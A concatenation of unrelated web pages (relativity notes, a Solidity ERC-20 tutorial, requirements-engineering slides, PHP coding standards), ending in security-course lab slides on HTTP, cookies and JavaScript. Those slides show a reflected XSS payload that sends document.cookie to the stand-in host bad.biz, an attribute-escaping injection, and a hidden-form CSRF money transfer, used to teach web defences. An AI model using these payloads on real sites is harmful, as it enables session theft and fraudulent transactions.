d’Alembert operator, or wave operator, is the Lapace operator in Minkowski space. [1]
In the usual {t,x,y,z} natural orthonormal basis,
A Coincidence?
Let’s start from this coincidence.
Recall that in special relativity, velocity addition is
where \(v_S\) is the velocity measured in moving frame S, \(v_O\) is the velocity measured in frame O. This \(\beta\) is the factor \(u/c\) where u is the velocity of the moving frame measure in frame O.
At the same time, we have the following hyper trig relation.
Isn’t this addition of angles the same as the velocity addition?
The algebra of relativity is mostly based on invariance of a new distance under a new rotation. Here we are not going to repeat the derivation of these transformations from the beginning, instead we would like to have a look at the really amazing part of this mathematical theory.
As shown in Fig. 20, we define quantities in two different frames, the frame O and frame S. The velocity of frame S measured in frame O is \(u\). Out of this velocity we define a quantity
In fact, any velocity divided by speed of light should be a hyperbolic tangent,
With this definition of hyperbolic tangent, we notice that
Suppose we have an object moving with velocity \(v_S\) in frame S. The velocity measured in frame O is the addition of the velocity of frame S itself and the velocity \(v_S\), except the addition rule is not the usual plus but the rule stated in Eq. ((1)). We apply the definitions of the hyperbolic trig function,
We could imagine the algebra of velocities would be simply summations if we define ‘velocity’ as \(\arctan \frac{v_x}{c}\).
Addition of velocities is not that fundamental. What’s more important is the transformation of coordinate, as we have always been talking about. In the old school language, the coordinate transformation is
where
If we use the language of hyperbolic trig functions, this transformation becomes
To make the transformation symmetric, we consider
Natural Unit
Look at these tedious steps. Why not just use natural units and set \(c=1\). We should.
This is basically the rotation matrix in hyperbolic spacetime.
Rotation in Euclidean Space
The rotations in Euclidean space is described as
It is quite different from the rotations in Euclidean space.
Since we are talking about geometry, space-time diagram will be extremely important. The length contraction, time dilation, and even doppler shift can be explained and calculated using the hyperbolic trig functions. Triangles on the space-time diagram are described in Visualizations of Hyperbolic Space.
Use a spacetime diagram.
Use a spacetime diagram.
© 2017, Lei Ma. | Created with Sphinx and . | On GitHub | Neutrino Notebook Statistical Mechanics Notebook | Index | Page Source


- Active Quora Discussions
- January 10, 2020
- by Andres Leon Rangel
- docker, AWS EC2, #webDev, #DevOps
DevOps the frugal way...
DevOps the frugal way...
The automation of a billing process running in a private cloud. The process was offered to Abbott (company that produces Ensure health drink). An Amazing project that started me as a DevOps engineer without knowing what it truly meant!
My wife gives an interesting view on DevOps. Her background is non-IT. She is a great nurse who became a children's teacher by passion.


Contributing to Curatoredit
We welcome contributions and bug fixes to Curator’s API and CLI.
We are grateful for the many contributors who have helped Curator become what it is today.
We welcome contributions and bug fixes to Curator’s API and CLI.
We are grateful for the many contributors who have helped Curator become what it is today.


21. Creating ERC-20 using Remix
# Creating ERC-20 Using Remix
Previously, we walked through all the parts of an ERC-20 interface. Now, we will implement this interface and create our very own token!
C4L3 Concept 21 ERC20 Using Remix V2
Source Code for myToken
pragma solidity ^0.4.25;
contract myToken {
string public constant name = "Udacity Token";
string public constant symbol = "UDC";
uint8 public constant decimals = 18; // 18 is the most common number of decimal places
uint _totalSupply;
// Balances for each account stored using a mapping
mapping(address => uint256) balances;
// Owner of the account approves the allowance of another account
// Create an allowance mapping
// The first key is the owner of the tokens
// In the 2nd mapping, its says who can spend on your behalf, and how many
// So, we are creating a mapping, where the kep is an address,
// The value is further a mapping of address to amount
mapping(address => mapping (address => uint256)) allowance;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// Called automatically when contract is initiated
// Sets to total initial _totalSupply, as per the input argument
// Also gives the initial supply to msg.sender...who creates the contract
constructor(uint amount) public {
_totalSupply = amount;
balances[msg.sender] = amount;
}
// Returns the total supply of tokens
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
// Get the token balance for account `tokenOwner`
// Anyone can query and find the balance of an address
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// Transfer the balance from owner's account to another account
// Decreases the balance of "from" account
// Increases the balance of "to" account
// Emits Transfer event
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender] - tokens;
balances[to] = balances[to] + tokens;
emit Transfer(msg.sender, to, tokens);
return true;
}
// Send amount of tokens from address `from` to address `to`
// The transferFrom method is used to allow contracts to spend
// tokens on your behalf
// Decreases the balance of "from" account
// Decreases the allowance of "msg.sender"
// Increases the balance of "to" account
// Emits Transfer event
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from] - tokens;
allowance[from][msg.sender] = allowance[from][msg.sender] - tokens;
balances[to] = balances[to] + tokens;
emit Transfer(from, to, tokens);
return true;
}
// Approves the `spender` to withdraw from your account, multiple times, up to the `tokens` amount.
// So the msg.sender is approving the spender to spend these many tokens
// from msg.sender's account
// Setting up allowance mapping accordingly
// Emits approval event
function approve(address spender, uint tokens) public returns (bool success) {
allowance[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
}
Implement Error Handling
Task Description:
As a challenge, implement Error Handling in your token contract.
Task Feedback:
function transfer(address to, uint tokens) public returns (bool success) {
require(tokens <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender] - tokens;
balances[to] = balances[to] + tokens;
emit Transfer(msg.sender, to, tokens);
return true;
}


HOW REQUIREMENTS ENGINEERING WORK?
SOFTWARE ENGINEERING
⇾ Is defined as a process of analyzing user
requirements and then designing, building, and testing software application
which will satisfy those requirements.
Process of Software Engineering
Process of Software Engineering
- Requirements Engineering
- Design
- Implementation
- Testing
- Deployment & Installation
- Maintain & Evolution
4 Major Phases of Requirements Engineering
1. Requirements Elicitation
1. Requirements Elicitation
⇾ Is the practice of researching and discovering the requirements of a system
from users, customers, and other stakeholders.
2. Requirements Analysis
⇾ Focuses on the tasks that determine the needs or conditions
to meet the new or altered product or project, taking account of the possibly conflicting
requirements of the various stakeholders, analyzing, documenting, validating and managing
software or system requirements.
3. Requirements Documentation
3. Requirements Documentation
⇾ In project management describes how each requirement meets the
business needs for the project. Requirements should be measurable, traceable, consistent,
complete and acceptable to the stakeholders.
4. Requirements Verification & Validation
4. Requirements Verification & Validation
⇾ Are independent procedures that are used together for checking
that a product, service, or system meets requirements and specifications and that it fulfills
its intended purpose.
Challenges on Requirement Engineering
Incomplete or Hidden Requirements
Incomplete or Hidden Requirements
Didnt ask enough questions or clients didn't remember to tell us everything
Inconsistent Requirements
Inconsistent Requirements
When 1 of the requirement states something that contradicts another requirements in your set that you can't
posibly satisfy both at the same time
Terminology
Once you are out in the wild doing RE, you gon be as insistent as her in termnology
Terminology
Doesn't mean people use the same term doesn't mean they say the same thing when they talk
about it
Terminology
Best ex: throw a bunch of SE in a room and ask them what is a system?
you'll get 25 different ansers and be surprise with how different understandings pips can have
on the same term
Terminology
So unless you take time and talk about what are the most important terms for the system. you
may run into trouble.
Terminology
As a SE like sir. Markus you may end up working in a domain that you are not very familiar
with
Terminology
You will have to be familiar with their terminology
Terminology
So it's important to time in to learn the domain yourself or to have access to domain expert
to stakeholder of that company who will explain all the necessary terminology to you
Unclear Responsibilities
Means it is not clear:
- Who has the say
- Who's allowed to state requirements
-
Not clear which stakeholders are the most important ones to interview
that can later on lead into trouble, when you find out oh there are another
bunch of people the I need to talk to but i didn't because i didn't know
Communication
- Along with num4 we often have communication problems
- That can be the structure of com
- Chain of responsibility thing
- Short emails
- Different cultures, same terms, but different things
Moving Targets
- Customer change their opinion about what they wanted
Moving Targets
-
Like last week they need these 3 features but the other one isn't that importatn
anymore and just want the other two. then you say sure, did it then they changed
their mind again
Moving Targets
-
The problem is you are not moving forward in development and eventually you'll be
runin over budget and overtime
Moving Targets
- Your clients may always change their mind at some point
Moving Targets
-
That's why you need to make sure they sign off on the base line req after a specified
period of time and that its clear when they need to pay additional charges or when pay
for an extra feature to avoid the cost of moving targets
Technically Unfeasible Requirements
Technically Unfeasible Requirements
To deal with those make sure on every domain you are touching you have one domain
expert on your team
Stake Holders
-
Stake Holders don't know Requirements from previous solutions
Stake Holders
-
They are not experts on the domain of software systems development at least they are
not usually
Stake Holders
-
They dont necessarily knokw how to separate between what they knew as a previous
solution and what is it they actually need
Stake Holders
- They doesn't know what they want until you show it to them
Stake Holders
-
Like when filing a documents every single day having a machine do it for you
digitally will be so much improvements
Underspecified Requirements
Underspecified Requirements
ex: you can only delete a post when logged in. after logging in the user tries to
create a post he couldn't because it was said that you can only "delete when logged in"
didn't specify that user can do several things when loged in
Unclear or Unmeasurable non-functional Requirements
Unclear or Unmeasurable non-functional Requirements
- Many of those specify certain characteristics of the system
Unclear or Unmeasurable non-functional Requirements
-
If the requirements is system should be fast.. but we have no Idea what fast means to
that client
Unclear or Unmeasurable non-functional Requirements
- Could mean db response in 3 sec if not that important
Unclear or Unmeasurable non-functional Requirements
-
But 3 sec could cause you a 3mill usd when system is on the stock market
Unclear or Unmeasurable non-functional Requirements
- You want your non-functional requirements be very clearly measurable
Challenges on Requirement Engineering
- Incomplete or hidden Requirements
- Inconsistent Requirements
- Terminology
- Unclear responsibilities
- Communication
- Moving targets
- Technically unfeasible Requirements
- Stake Holders don't know requirements from previous solutions
- Underspecified Requirements
- Unclear or Unmeasurable non-functional Requirements


Meanwhile, over at The Dabbler, you can find a seasonal tale exhumed from the Archives. Devoted readers will probably have it by heart, and be ready to recite it to the tinies at bedtime, but I learned that apparently there are a few visitors to The Dabbler who have not spent the past six months poring over the accumulated treasures of Hooting Yard (2003–2010), so we must help them get up to speed before the new year.


Chadicus Coding Standards
Table of Contents
Superfluous Whitespace
There should be no whitespace at the beginning or end of files or at the end of lines. There should also never be 2 blank lines in a row.
| Valid: No superfluous whitespace. |
Invalid: Two consecutive new lines. |
| <?php$foo = 1;$bar = 2; |
$foo = 1;$bar = 2; |
There should be no empty line after the opening brace or before the closing brace of a function, class, or control structure.
| Valid: No superfluous whitespace. |
Invalid: An extra line at beginning or end of function or class. |
| function foo(){ echo "Hello\n";} |
function foo(){ echo "Hello\n";}class Foo(){ public function bar() { echo 3; }} |
ElseIf and Else Declarations
An if expression with an else branch is never necessary. You can rewrite the conditions in a way that the else is not necessary and the code becomes simpler to read.
| Valid: Method returns early to avoid use of else. |
Invalid: Else statement used. |
| public function bar($flag){ if ($flag) { // perform action in true case return; } // perform action in false case} |
public function bar($flag){ if ($flag) { // perform action in true case } else { // perform action in false case }} |
Namespace Declarations
There must be one blank line after the namespace declaration.
| Valid: One blank line after the namespace declaration. |
Invalid: No blank line after the namespace declaration. |
| namespace \Foo\Bar;use \Baz; |
namespace \Foo\Bar;use \Baz; |
Namespace Declarations
Each use declaration must contain only one namespace and must come after the first namespace declaration. There should be one blank line after the final use statement.
| Valid: One use declaration per namespace. |
Invalid: Multiple namespaces in a use declaration. |
| use \Foo;use \Bar; |
use \Foo, \Bar; |
| Valid: Use statements come after first namespace. |
Invalid: Namespace declared after use. |
| namespace \Foo;use \Bar; |
use \Bar;namespace \Foo; |
| Valid: A single blank line after the final use statement. |
Invalid: No blank line after the final use statement. |
| use \Foo;use \Bar;class Baz{} |
use \Foo;use \Bar;class Baz{} |
Method Declarations
Method names should not be prefixed with an underscore to indicate visibility. The static keyword, when present, should come after the visibility declaration, and the final and abstract keywords should come before.
| Valid: Correct method naming. |
Invalid: An underscore prefix used to indicate visibility. |
| class Foo{ private function bar() { }} |
class Foo{ private function _bar() { }} |
| Valid: Correct ordering of method prefixes. |
Invalid: static keyword used before visibility and final used after. |
| class Foo{ final public static function bar() { }} |
class Foo{ static public final function bar() { }} |
Class Declarations
There should be exactly 1 space between the abstract or final keyword and the class keyword and between the class keyword and the class name. The extends and implements keywords, if present, must be on the same line as the class name. When interfaces implemented are spread over multiple lines, there should be exactly 1 interface mentioned per line indented by 1 level. The closing brace of the class must go on the first line after the body of the class and must be on a line by itself.
| Valid: Correct spacing around class keyword. |
Invalid: 2 spaces used around class keyword. |
| abstract class Foo{} |
abstract class Foo{} |
Property Declarations
Property names should not be prefixed with an underscore to indicate visibility. Visibility should be used to declare properties rather than the var keyword. Only one property should be declared within a statement.
| Valid: Correct property naming. |
Invalid: An underscore prefix used to indicate visibility. |
| class Foo{ private $bar;} |
class Foo{ private $_bar;} |
| Valid: Visibility of property declared. |
Invalid: Var keyword used to declare property. |
| class Foo{ private $bar;} |
class Foo{ var $bar;} |
| Valid: One property declared per statement. |
Invalid: Multiple properties declared in one statement. |
| class Foo{ private $bar; private $baz;} |
class Foo{ private $bar, $baz;} |
Elseif Declarations
PHP's elseif keyword should be used instead of else if.
| Valid: Single word elseif keyword used. |
Invalid: Separate else and if keywords used. |
| if ($foo) { $var = 1;} elseif ($bar) { $var = 2;} |
if ($foo) { $var = 1;} else if ($bar) { $var = 2;} |
Switch Declarations
Case statements should be indented 4 spaces from the switch keyword. It should also be followed by a space. Colons in switch declarations should not be preceded by whitespace. Break statements should be indented 4 more spaces from the case statement. There must be a comment when falling through from one case into the next.
| Valid: Case statement indented correctly. |
Invalid: Case statement not indented 4 spaces. |
| switch ($foo) { case 'bar': break;} |
switch ($foo) {case 'bar': break;} |
| Valid: Case statement followed by 1 space. |
Invalid: Case statement not followed by 1 space. |
| switch ($foo) { case 'bar': break;} |
switch ($foo) { case'bar': break;} |
| Valid: Colons not prefixed by whitespace. |
Invalid: Colons prefixed by whitespace. |
| switch ($foo) { case 'bar': break; default: break;} |
switch ($foo) { case 'bar' : break; default : break;} |
| Valid: Break statement indented correctly. |
Invalid: Break statement not indented 4 spaces. |
| switch ($foo) { case 'bar': break;} |
switch ($foo) { case 'bar': break;} |
| Valid: Comment marking intentional fall-through. |
Invalid: No comment marking intentional fall-through. |
| switch ($foo) { case 'bar': // no break default: break;} |
switch ($foo) { case 'bar': default: break;} |
Control Structure Spacing
Control Structures should have 0 spaces after opening parentheses and 0 spaces before closing parentheses.
| Valid: Correct spacing. |
Invalid: Whitespace used inside the parentheses. |
| if ($foo) { $var = 1;} |
if ( $foo ) { $var = 1;} |
End File Newline
PHP Files should end with exactly one newline.
Class Declaration
Each class must be in a file by itself and must be under a namespace (a top-level vendor name).
| Valid: One class in a file. |
Invalid: Multiple classes in a single file. |
| <?phpnamespace Foo;class Bar {} |
<?phpnamespace Foo;class Bar {}class Baz {} |
| Valid: A vendor-level namespace is used. |
Invalid: No namespace used in file. |
| <?phpnamespace Foo;class Bar {} |
<?phpclass Bar {} |
Side Effects
A php file should either contain declarations with no side effects, or should just have logic (including side effects) with no declarations.
| Valid: A class defined in a file by itself. |
Invalid: A class defined in a file with other code. |
| <?phpclass Foo{} |
<?phpclass Foo{}echo "Class Foo loaded." |
PHP Code Tags
Always use <?php ?> to delimit PHP code, not the <? ?> shorthand. This is the most portable way to include PHP code on differing operating systems and setups.
Byte Order Marks
Byte Order Marks that may corrupt your application should not be used. These include 0xefbbbf (UTF-8), 0xfeff (UTF-16 BE) and 0xfffe (UTF-16 LE).
Constant Names
Constants should always be all-uppercase, with underscores to separate words.
| Valid: all uppercase |
Invalid: mixed case |
| define('FOO_CONSTANT', 'foo');class FooClass{ const FOO_CONSTANT = 'foo';} |
define('Foo_Constant', 'foo');class FooClass{ const foo_constant = 'foo';} |
Line Endings
Unix-style line endings are preferred ("\n" instead of "\r\n").
Line Length
It is recommended to keep lines at approximately 80 characters long for better code readability.
Multiple Statements On a Single Line
Multiple statements are not allowed on a single line.
| Valid: Two statements are spread out on two separate lines. |
Invalid: Two statements are combined onto one line. |
| $foo = 1;$bar = 2; |
$foo = 1; $bar = 2; |
Scope Indentation
Indentation for control structures, classes, and functions should be 4 spaces per level.
| Valid: 4 spaces are used to indent a control structure. |
Invalid: 8 spaces are used to indent a control structure. |
| if ($test) { $var = 1;} |
if ($test) { $var = 1;} |
No Tab Indentation
Spaces should be used for indentation instead of tabs.
Lowercase Keywords
All PHP keywords should be lowercase.
| Valid: Lowercase array keyword used. |
Invalid: Non-lowercase array keyword used. |
| $foo = array(); |
$foo = Array(); |
PHP Constants
The true, false and null constants must always be lowercase.
| Valid: lowercase constants |
Invalid: uppercase constants |
| if ($var === false || $var === null) { $var = true;} |
if ($var === FALSE || $var === NULL) { $var = TRUE;} |
Scope Keyword Spacing
The php keywords static, public, private, and protected should have one space after them.
| Valid: A single space following the keywords. |
Invalid: Multiple spaces following the keywords. |
| public static function foo(){} |
public static function foo(){} |
Lowercase Function Keywords
The php keywords function, public, private, protected, and static should be lowercase.
| Valid: Lowercase function keyword. |
Invalid: Uppercase function keyword. |
| function foo(){ return true;} |
FUNCTION foo(){ return true;} |
Default Values in Function Declarations
Arguments with default values go at the end of the argument list.
| Valid: argument with default value at end of declaration |
Invalid: argument with default value at start of declaration |
| function connect($dsn, $persistent = false){ ...} |
function connect($persistent = false, $dsn){ ...} |
Function Argument Spacing
Function arguments should have one space after a comma, and single spaces surrounding the equals sign for default values.
| Valid: Single spaces after a comma. |
Invalid: No spaces after a comma. |
| function foo($bar, $baz){} |
function foo($bar,$baz){} |
| Valid: Single spaces around an equals sign in function declaration. |
Invalid: No spaces around an equals sign in function declaration. |
| function foo($bar, $baz = true){} |
function foo($bar, $baz=true){} |
Foreach Loop Declarations
There should be a space between each element of a foreach loop and the as keyword should be lowercase.
| Valid: Correct spacing used. |
Invalid: Invalid spacing used. |
| foreach ($foo as $bar => $baz) { echo $baz;} |
foreach ( $foo as $bar=>$baz ) { echo $baz;} |
| Valid: Lowercase as keyword. |
Invalid: Uppercase as keyword. |
| foreach ($foo as $bar => $baz) { echo $baz;} |
foreach ($foo AS $bar => $baz) { echo $baz;} |
For Loop Declarations
In a for loop declaration, there should be no space inside the brackets and there should be 0 spaces before and 1 space after semicolons.
| Valid: Correct spacing used. |
Invalid: Invalid spacing used inside brackets. |
| for ($i = 0; $i < 10; $i++) { echo $i;} |
for ( $i = 0; $i < 10; $i++ ) { echo $i;} |
| Valid: Correct spacing used. |
Invalid: Invalid spacing used before semicolons. |
| for ($i = 0; $i < 10; $i++) { echo $i;} |
for ($i = 0 ; $i < 10 ; $i++) { echo $i;} |
| Valid: Correct spacing used. |
Invalid: Invalid spacing used after semicolons. |
| for ($i = 0; $i < 10; $i++) { echo $i;} |
for ($i = 0;$i < 10;$i++) { echo $i;} |
Lowercase Control Structure Keywords
The php keywords if, else, elseif, foreach, for, do, switch, while, try, and catch should be lowercase.
| Valid: Lowercase if keyword. |
Invalid: Uppercase if keyword. |
| if ($foo) { $bar = true;} |
IF ($foo) { $bar = true;} |
Inline Control Structures
Control Structures should use braces.
| Valid: Braces are used around the control structure. |
Invalid: No braces are used for the control structure.. |
| if ($test) { $var = 1;} |
if ($test) $var = 1; |
Empty Statements
Control Structures must have at least one statement inside of the body.
| Valid: There is a statement inside the control structure. |
Invalid: The control structure has no statements. |
| if ($test) { $var = 1;} |
if ($test) { // do nothing} |
Condition-Only For Loops
For loops that have only a second expression (the condition) should be converted to while loops.
| Valid: A for loop is used with all three expressions. |
Invalid: A for loop is used without a first or third expression. |
| for ($i = 0; $i < 10; $i++) { echo "{$i}\n";} |
for (;$test;) { $test = doSomething();} |
For Loops With Function Calls in the Test
For loops should not call functions inside the test for the loop when they can be computed beforehand.
| Valid: A for loop that determines its end condition before the loop starts. |
Invalid: A for loop that unnecessarily computes the same value on every iteration. |
| $end = count($foo);for ($i = 0; $i < $end; $i++) { echo $foo[$i]."\n";} |
for ($i = 0; $i < count($foo); $i++) { echo $foo[$i]."\n";} |
Unconditional If Statements
If statements that are always evaluated should not be used.
| Valid: An if statement that only executes conditionally. |
Invalid: An if statement that is always performed. |
| if ($test) { $var = 1;} |
if (true) { $var = 1;} |
| Valid: An if statement that only executes conditionally. |
Invalid: An if statement that is never performed. |
| if ($test) { $var = 1;} |
if (false) { $var = 1;} |
Unnecessary Final Modifiers
Methods should not be declared final inside of classes that are declared final.
| Valid: A method in a final class is not marked final. |
Invalid: A method in a final class is also marked final. |
| final class Foo{ public function bar() { }} |
final class Foo{ public final function bar() { }} |
Useless Overriding Methods
Methods should not be defined that only call the parent method.
| Valid: A method that extends functionality on a parent method. |
Invalid: An overriding method that only calls the parent. |
| final class Foo{ public function bar() { parent::bar(); $this->doSomethingElse(); }} |
final class Foo{ public function bar() { parent::bar(); }} |
Doc Comment Alignment
The asterisks in a doc comment should align, and there should be one space between the asterisk and tags.
| Valid: Asterisks are aligned. |
Invalid: Asterisks are not aligned. |
| /** * @see foo() */ |
/** * @see foo()*/ |
| Valid: One space between asterisk and tag. |
Invalid: Incorrect spacing used. |
| /** * @see foo() */ |
/** * @see foo() */ |
Doc Comment Throws Tag
If a function throws any exceptions, they should be documented in a @throws tag.
| Valid: @throws tag used. |
Invalid: No @throws tag used for throwing function. |
| /** * @throws Exception all the time * @return void */function foo(){ throw new Exception('Danger!');} |
/** * @return void */function foo(){ throw new Exception('Danger!');} |
Todo Comments
FIXME Statements should be taken care of.
| Valid: A comment without a fixme. |
Invalid: A fixme comment. |
| // Handle strange caseif ($test) { $var = 1;} |
// FIXME: This needs to be fixed!if ($test) { $var = 1;} |
Todo Comments
TODO Statements should be taken care of.
| Valid: A comment without a todo. |
Invalid: A todo comment. |
| // Handle strange caseif ($test) { $var = 1;} |
// TODO: This needs to be fixed!if ($test) { $var = 1;} |
Cyclomatic Complexity
Functions should not have a cyclomatic complexity greater than 20, and should try to stay below a complexity of 10.
Nesting Level
Functions should not have a nesting level greater than 10, and should try to stay below 5.


The post-implementation review is a process (see Figure 3-17) by which the steering committee takes a collective view of the portfolio performance at the end of each delivery cycle—typically a 90-day release cycle. In addition to the steering committee, this review may seek participation from other stakeholders, such as business sponsors, program managers, and enterprise architects. Each stakeholder has different concerns and motives to judge the success or failure of a project.
Apart from the architecture conformance discussed earlier, delivery assurance and organizational readiness are the other two predominant management concerns in the post-implementation review (Table 3-13).
The essence of post-implementation reviews is that the performance and outcome of all the projects are viewed in comparison with each other, not in isolation. This allows to assess the overall portfolio performance more often (for instance, once every quarter). A consolidated performance dashboard reported at the portfolio level on a quarterly basis is a powerful management tool. It offers a number of strategic levers to the CIO, supporting the following activities:


--- layout: post title: Patch Makers Featured.. date: 2007-09-27 17:17:58.000000000 -04:00 type: post published: true status: publish categories: [] tags: [] meta: _encloseme: '1' orig_url: http://blogs.msdn.microsoft.com/b/phaniraj/archive/2007/09/27/patch-makers-featured.aspx orig_site_id: '7524' orig_post_id: '5173812' orig_parent_id: '5173812' orig_thread_id: '537692' _wds_ratings_users: '0' orig_application_key: phaniraj orig_post_author_id: '56365' orig_post_author_username: PhaniRajuYN orig_post_author_created: Nov 10 2006 05:47:39:000PM orig_is_approved: '1' orig_attachment_count: '0' orig_url_title: http://blogs.msdn.com/b/phaniraj/archive/2007/09/27/patch-makers-featured.aspx opengraph_tags: | author: login: phanirajuyn email<EMAIL_ADDRESS>display_name: Phani Raju MSFT first_name: '' last_name: '' ---
Pretty Sweet !
All the Community members who contributed to the new toolkit Release got featured on Kirti Deshpande's blog .
This sort of thing makes it doubly nice to work on patches for the toolkit .
Community Contributions in Toolkit release 10920
The patch I worked on is adding the Key-Value Pair Capability to the AutoCompleteExtender.
Read about how to use this here :


Jon Gjengset & Alex Grinman
Jon Gjengset
When you navigate to a web page, your browser sends an HTTP request to the host named in the URL. The request contains information about the document being requested, plus information about the requesting browser.
GET /zoobar/index.cgi/login?nexturl=... HTTP/1.1
Host: zoobar:8080
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,...
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
(KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Referer: http://zoobar:8080/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1223
<!DOCTYPE html>

<meta charset="utf-8">
<title>Login - Zoobar Foundatio</title>
...
<form method="GET|POST" action="URL">
<input name="field_name" type="text|hidden" />
<input name="field_name" type="submit" value="Button text" />
</form>
POST goes in request body, GET goes in URL.
Form fields and other parameters are given in the URL after ?
.
http://google.com/search?q=6858+lab3
Multiple key=value
pairs are separated by &
.
Every value
is URL encoded to avoid parsing ambiguities:
?q=difference between = & ==? becomes
?q=difference%20between%20%3D%20%26%20%3D%3D%3F.
%XX just means the letter 0xXX in ASCII; %20 = 0x20 = 32 = " " in ASCII.
POST /zoobar/index.cgi/login HTTP/1.1
...
Content-Length: 94
Content-Type: application/x-www-form-urlencoded
login_username=admin&login_password=admin \
submit_login=Log+in&nexturl=%2Fzoobar%2Findex.cgi%2F
HTTP was created to be stateless.
Cookies enable servers to track browsers across requests.
Cookies give us the key to the castle. Steal cookies and you steal another user's (authenticated) session.
HTTP/1.0 302 FOUND
Location: http://localhost:8081/zoobar/index.cgi/
Set-Cookie: PyZoobarLogin=\
admin#490fe09a56829992795ce8a4739fb279; Path=/
followed by
GET /zoobar/index.cgi/ HTTP/1.1
...
Cookie: PyZoobarLogin=admin#490fe09a56829992795ce8a4739fb279
CSS lets you change the appearance of your HTML elements. Of particular importance to us is the ability to hide elements.
CSS is expressed as a set of rules, each consisting of one or more selectors, and a declaration. A declaration assigns values to a number of properties to change various aspects of an element's apperance.

...

...

...

div { ... }

...

...

...

#a { ... }
There can only be a single element on the page with a given ID.

...

...

...

.a { ... }
Selectors can be nested to select child elements.

...

...

...

div .a { ... }
They can also be ORed using ,
.

...

...

...

.a, .c { ... }

Turtles all the way down.

div {
color: red;
}
You can also use

Turtles all the way down.

div {
font-weight: bold;
}
You can also use

Turtles all the way down.

div {
background-color: red;
color: #CCC;
}
You can also use

Why are they useful? Well, we can hide things...

Turtles all the way down.

div {
visibility: hidden;
}

Turtles all the way down.

div {
display: none;
}

Turtles all the way down.

div {
width: 0;
height: 0;
overflow: hidden;
}

Turtles all the way down.

div {
line-height: 0;
font-size: 0;
color: white;
}
JavaScript (unrelated to Java) is a scripting language that was built to allow developers to build pages that change client-side.
Can read and modify HTML documents, query browser state, prompt the user for input, and make HTTP requests as the user.

// alert() is your friend for debugging
alert("Hello world");
// console.log() is even better
console.log({ iam: "a JS object" });
HTML documents are represented as trees in JavaScript.
Called the Document Object Model (DOM) and accessed through document
.
var body = document.body;
HTML documents are represented as trees in JavaScript.
Called the Document Object Model (DOM) and accessed through document
.
var body = document.body;
var body = document.getElementsByTagName("body")[0];
var div = document.getElementById("some_id");
var divs = document.getElementsByClassName("some_class");
In modern browsers, we can also query using CSS selectors!
var div = document.querySelector("div#some_id");
var divs = document.querySelectorAll("div.some_class");
We can also query child elements by doing DOM lookups on them
var div = document.querySelector("div#some_id");
var divs = document.querySelectorAll("div.some_class");
var ps = div.querySelectorAll("p");
We can only find elements after they've been created

JavaScript can react to events on the page.
div.addEventListener("click", function(e) {
alert("you clicked me");
}, false)
or can trigger events, like submitting a form:
link.click()
Helps us wait for elements to become accessible:
window.addEventListener("load", function(e) {
// All page elements available here
}, false)
For the lab, you will be dealing with forms:
form.addEventListener("submit", function(e) {
e.preventDefault();
alert("you tried to submit the form");
}, false)
form.submit()
We can also read values from form fields
form.addEventListener("submit", function(e) {
e.preventDefault();
var input = form.getElementsByTagName('input')[0];
alert("you tried to submit the value " + input.value);
}, false)
We can manipulate the HTML using DOM too
div.textContent = "superman was here";
We can manipulate the HTML using DOM too
div.textContent = "superman was here";
div.innerHTML = "batman was here";
We can manipulate the HTML using DOM too
div.textContent = "superman was here";
div.innerHTML = "batman was here";
var p = document.createElement("p");
p.textContent = "6.858 TAs were here too";
div.appendChild(p);
We can use the HTML to communicate with the outside world!
var img = document.createElement("img");
img.setAttribute("src", "http://bad.biz/ping.png");
// or just img.src = "http://bad.biz/ping.png";
div.appendChild(img);
There's even a shorthand:
(new Image()).src = "http://bad.biz/ping.png";
Loading can succeed or fail
img.addEventListener("load", function() {
// Image loaded successfully
}, false)
img.addEventListener("error", function() {
// Image failed to load
}, false)
You should add event listeners before appendChild
!
Also useful on
Sometimes, patience is needed: setTimeout
to the rescue.
setTimeout(function() {
// This will execute in ~2 seconds.
}, 2 * 1000);
There is also setInterval
for repeated execution.
JavaScript acts with the user's privileges => Confused deputy.
Remember those cookies?

Remember how we can communicate with the outside world?

Remember URL encoding?

Uh oh. But aren't there defenses against this?!
Yes! Same-Origin Policy:
JavaScript running in one origin (= host + port + protocol) cannot read or modify pages in other origins.
So the attacker can't insert JavaScript in our page in the first place!
So JavaScript on bad.biz can't read my bank page, or submit form to transfer all my $$$. That's great.
Are we safe?
Hahaha, no.
What if attacker can get malicious JavaScript to run in the right origin?

Hello <?php echo $_GET['name']; ?>.

GET hello.php?name=jon

Hello jon.

Looks good — ship it!
GET hello.php?name=jon%3Cscript%3E%0A(new%20Image()).src%20%3D%20%22http%3A%2F%2Fbad.biz %2F%3Fx%3D%20%2B%20encodeURIComponent(document.cookie)%3B%0A%3C%2Fscript%3E

Hello jon.

Oops.
Sometimes you will have to close tags/attributes in your values!

<input type="text"
name="user"
value="<?php if ($_GET['user']) {echo $_GET['user'];} ?>"
/>
Code like this is often used to restore forms on errors.
These attacks are not specific to PHP.
GET form.php?user=%22%20%2F%3E%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E %3Cinput%20type%3D%22hidden%22%20value%3D%22
<input type="text"
name="user"
value="" />

<input type="hidden" value="" />
Reflected Cross-Site Scripting is only effective if you can get someone to visit a malicious URL (which is not that hard).
Many many other types of XSS exist. Could, for example, store JavaScript in your username. Won't be echoed back immediately, but will be printed elsewhere. Allows attacking other users.
Even if your site is not vulnerable to XSS, there are other ways to lose:

<form method="POST" action="https://good.com/transfer">
<input type="hidden" name="to" value="badguy" />
<input type="hidden" name="amount" value="10000" />
<input type="submit" value="Free iPad" />
</form>
Looks like a legitimate transfer request to good.com!
Don't want the user to see the target site? Use iframe
and target
.

<form method="POST" action="https://good.com/transfer" target="f">
<input type="hidden" name="to" value="badguy" />
<input type="hidden" name="amount" value="10000" />
<input type="submit" value="Free iPad" />
</form>

Only the (potentially hidden) iframe
changes.
In fact, there's an even easier way:
